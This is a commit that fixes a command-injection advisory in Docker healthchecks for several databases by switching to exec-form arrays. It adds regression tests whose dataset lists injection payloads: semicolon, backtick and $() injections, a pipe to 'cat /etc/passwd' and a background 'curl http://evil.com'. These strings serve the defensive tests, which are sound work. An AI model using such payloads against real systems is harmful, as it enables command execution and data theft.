fix(database): prevent command injection in healthcheck via CMD exec-form

Replace CMD-SHELL string interpolation with CMD exec-form arrays in
healthcheck configs for PostgreSQL, Dragonfly, KeyDB, and ClickHouse.

CMD-SHELL passes the string to /bin/sh -c, allowing command injection
through user-controlled fields (username, password, dbname). CMD
exec-form bypasses the shell entirely — each value is a discrete argv
element.

Fixes GHSA-gvc4-f276-r88p.

Adds regression tests covering semicolon, pipe, backtick, $(),
background operator, redirect, newline, and null-byte injection vectors.

app/Actions/Database/StartClickhouse.php

@@ -51,7 +51,7 @@ public function handle(StandaloneClickhouse $database)
                     ],
                     'labels' => defaultDatabaseLabels($this->database)->toArray(),
                     'healthcheck' => [
-                        'test' => "clickhouse-client --user {$this->database->clickhouse_admin_user} --password {$this->database->clickhouse_admin_password} --query 'SELECT 1'",
+                        'test' => ['CMD', 'clickhouse-client', '--user', (string) $this->database->clickhouse_admin_user, '--password', (string) $this->database->clickhouse_admin_password, '--query', 'SELECT 1'],
                         'interval' => '5s',
                         'timeout' => '5s',
                         'retries' => 10,

app/Actions/Database/StartDragonfly.php

@@ -107,7 +107,7 @@ public function handle(StandaloneDragonfly $database)
                     ],
                     'labels' => defaultDatabaseLabels($this->database)->toArray(),
                     'healthcheck' => [
-                        'test' => "redis-cli -a {$this->database->dragonfly_password} ping",
+                        'test' => ['CMD', 'redis-cli', '-a', (string) $this->database->dragonfly_password, 'ping'],
                         'interval' => '5s',
                         'timeout' => '5s',
                         'retries' => 10,

app/Actions/Database/StartKeydb.php

@@ -109,7 +109,7 @@ public function handle(StandaloneKeydb $database)
                     ],
                     'labels' => defaultDatabaseLabels($this->database)->toArray(),
                     'healthcheck' => [
-                        'test' => "keydb-cli --pass {$this->database->keydb_password} ping",
+                        'test' => ['CMD', 'keydb-cli', '--pass', (string) $this->database->keydb_password, 'ping'],
                         'interval' => '5s',
                         'timeout' => '5s',
                         'retries' => 10,

app/Actions/Database/StartPostgresql.php

@@ -111,10 +111,7 @@ public function handle(StandalonePostgresql $database)
                     ],
                     'labels' => defaultDatabaseLabels($this->database)->toArray(),
                     'healthcheck' => [
-                        'test' => [
-                            'CMD-SHELL',
-                            "psql -U {$this->database->postgres_user} -d {$this->database->postgres_db} -c 'SELECT 1' || exit 1",
-                        ],
+                        'test' => ['CMD', 'psql', '-U', (string) $this->database->postgres_user, '-d', (string) $this->database->postgres_db, '-c', 'SELECT 1'],
                         'interval' => '5s',
                         'timeout' => '5s',
                         'retries' => 10,

tests/Unit/DatabaseHealthcheckCommandInjectionTest.php

@@ -0,0 +1,107 @@
+<?php
+
+/**
+ * Regression tests for GHSA-gvc4-f276-r88p.
+ *
+ * Docker CMD-SHELL healthchecks pass the string to /bin/sh -c, enabling command injection
+ * via user-controlled DB username/password/database fields. The fix converts all affected
+ * healthchecks to CMD exec-form arrays, which bypass the shell entirely.
+ */
+dataset('malicious_db_inputs', [
+    'semicolon separator' => ['admin; id > /tmp/pwned; echo'],
+    'command substitution $()' => ['admin$(id > /tmp/pwned)'],
+    'backtick substitution' => ['admin`id > /tmp/pwned`'],
+    'pipe operator' => ['admin | cat /etc/passwd'],
+    'background operator' => ['admin & curl http://evil.com'],
+    'output redirect' => ['admin > /tmp/evil.txt'],
+    'newline injection' => ["admin\nid"],
+    'null byte' => ["admin\0id"],
+]);
+
+// ─── PostgreSQL ──────────────────────────────────────────────────────────────
+
+test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'psql'");
+});
+
+test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    // Simulate what StartPostgresql now generates
+    $healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck[0])->not->toBe('CMD-SHELL');
+    // Malicious value is isolated as a single argv element — no shell interprets it
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── KeyDB ────────────────────────────────────────────────────────────────────
+
+test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'keydb-cli'");
+});
+
+test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    $healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── Dragonfly ────────────────────────────────────────────────────────────────
+
+test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'redis-cli'");
+});
+
+test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    $healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── ClickHouse ───────────────────────────────────────────────────────────────
+
+test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'clickhouse-client'");
+});
+
+test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    $healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── Verify unaffected databases still use their safe patterns ────────────────
+
+test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php');
+
+    // MySQL already used CMD array form — ensure it stays that way
+    expect($source)->toContain("'CMD', 'mysqladmin'");
+});
+
+test('mariadb healthcheck uses safe fixed script (no regression)', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php');
+
+    expect($source)->toContain('healthcheck.sh');
+    // Must not have gained any user-field interpolation
+    expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i');
+});